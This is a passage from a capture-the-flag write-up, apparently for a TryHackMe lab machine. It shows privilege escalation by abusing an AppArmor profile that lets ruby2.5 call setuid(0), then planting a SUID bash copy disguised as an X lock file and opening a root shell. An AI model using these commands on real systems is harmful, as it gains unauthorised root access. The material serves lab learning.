# file: bin/bash
# owner: root
# group: root
user::rwx
group::r-x
other::r-x

But that looks fine, all the permissions we should have

We try ltrace and strace to see if we can follow and traceback the execution sequence, but with no success

We can use stat to get another view

alvin@rocket:~$ stat /bin/bash
  File: /bin/bash
  Size: 1113504   	Blocks: 2176       IO Block: 4096   regular file
Device: fd00h/64768d	Inode: 393246      Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2021-07-27 19:47:43.680000000 +0000
Modify: 2019-06-06 22:28:15.000000000 +0000
Change: 2021-06-14 14:45:36.532880394 +0000
 Birth: -

We can see it was changed recently, but all the other elements seem accurate

Given it was changed, perhaps the original is hidden somewhere?

alvin@rocket:~$ find / -iname "*bash*" 2>/dev/null
/usr/share/byobu/profiles/bashrc
/usr/share/perl5/Debian/Debhelper/Sequence/bash_completion.pm
/usr/share/pkgconfig/bash-completion.pc
--snip--

We get a long list, but nothing stands out. While on this track though, let’s check ruby2.5 as well just in case that’s been tampered with too

alvin@rocket:/etc/apparmor.d$ find / -iname "*ruby2.5*" 2>/dev/null
/usr/share/lintian/overrides/ruby2.5
/usr/share/lintian/overrides/libruby2.5
/usr/share/man/man1/ruby2.5.1.gz
/usr/share/systemtap/tapset/libruby2.5-x86_64-linux-gnu.stp
/usr/share/doc/ruby2.5
/usr/share/doc/libruby2.5
/usr/bin/ruby2.5
/etc/apparmor.d/cache/usr.bin.ruby2.5
/etc/apparmor.d/usr.bin.ruby2.5
/var/lib/dpkg/info/ruby2.5.list
/var/lib/dpkg/info/ruby2.5.md5sums
/var/lib/dpkg/info/libruby2.5:amd64.triggers
/var/lib/dpkg/info/libruby2.5:amd64.symbols
/var/lib/dpkg/info/libruby2.5:amd64.shlibs
/var/lib/dpkg/info/libruby2.5:amd64.list
/var/lib/dpkg/info/libruby2.5:amd64.md5sums

This one is a bit interesting, there is a file in /etc/apparmor.d related to ruby. We get a vague memory of AppArmor’s functionality and google to be sure

AppArmor is a kernel enhancement to confine programs to a limited set of resources. AppArmor’s unique security model is to bind access control attributes to programs rather than to users

Well, we are being limited from using a resource, /bin/bash, so let’s see if that file has anything to do with it

alvin@rocket:/etc/apparmor.d$ cat usr.bin.ruby2.5 
# Last Modified: Mon Jun 14 23:01:44 2021
#include <tunables/global>

/usr/bin/ruby2.5 {
  #include <abstractions/base>

  capability setuid,

  deny owner /etc/nsswitch.conf r,
  deny /root/* rwx,
  deny /etc/shadow rwx,

  /etc/passwd r,
  /bin/cat mrix,
  /bin/cp mrix,
  /bin/ls mrix,
  /usr/bin/whoami mrix,
  /tmp/.X[0-9]*-lock rw,
  /lib/x86_64-linux-gnu/ld-*.so mr,
  /usr/bin/ruby2.5 mr,
  /usr/share/rubygems-integration/all/specifications/ r,
  /usr/share/rubygems-integration/all/specifications/did_you_mean-1.2.0.gemspec r,
  /{usr/,}lib{,32,64}/** mr,

}

More searching gives us information about the syntax for this profile

Capabilities The only capabilities a confined process may use may be enumerated; for the complete list, please refer to capabilities>(7). Note that granting some capabilities renders AppArmor confinement for that domain advisory; while open(2), read(2), write(2), etc., will still return error when access is not granted, some capabilities allow loading kernel modules, arbitrary access to IPC, ability to bypass discretionary access controls, and other operations that are typically reserved for the root user

So if we’re reading this correctly then this profile is, for any time ruby2.5 uses its setuid capability, implementing a series of deny and allow statements. It seems we can access only

  • /etc/passwd read-only
  • /bin/cat, /bin/cp, /bin/ls, /usr/bin/whoami read, inherit-execute, map
  • /tmp/.X[0-9]*-lock read/write
  • and a few more files and directories

While being denied access to

  • /etc/shadow, /root entirely
  • with a special restriction on /etc/nsswitch.conf

    owner Specifies that the task must have the same euid/fsuid as the object being referenced by the permission check

Let’s put that to the test then, can we execute whoami as root?

alvin@rocket:/etc/apparmor.d$ /usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "/usr/bin/whoami"'
root

Yes we can, so we have it then, the cause of our troubles

We could make a copy of /bin/bash, chmod it to have setuid permissions for our user, then use cp to make a duplicate owned by root perhaps. Worth a try, let’s go

alvin@rocket:/tmp$ cp /bin/bash .X3-lock
alvin@rocket:/tmp$ chmod +s .X3-lock 
alvin@rocket:/tmp$ /usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "/bin/cp /tmp/.X3-lock /tmp/.X4-lock"'
alvin@rocket:/tmp$ ls -la /tmp/.X4-lock 
-rwxr-xr-x 1 root alvin 1113504 Jul 27 21:03 /tmp/.X4-lock

Rats, it seems the permissions did not persist, Let’s give it another go with the cp switch --preserve

alvin@rocket:/tmp$ /usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "/bin/cp --preserve=mode /tmp/.X3-lock /tmp/.X5-lock"'
alvin@rocket:/tmp$ ls -la /tmp/.X5-lock 
-rwsr-sr-x 1 root alvin 1113504 Jul 27 21:06 /tmp/.X5-lock

And it appears to have worked, let’s see if we can execute this now and get a root shell

alvin@rocket:/tmp$ /tmp/.X5-lock -p
.X5-lock-4.4# id
uid=1000(alvin) gid=1000(alvin) euid=0(root) groups=1000(alvin)

And we have it, let’s grab the root flag and finish up

.X5-lock-4.4# cat /root/root.txt
THM{REDACTED}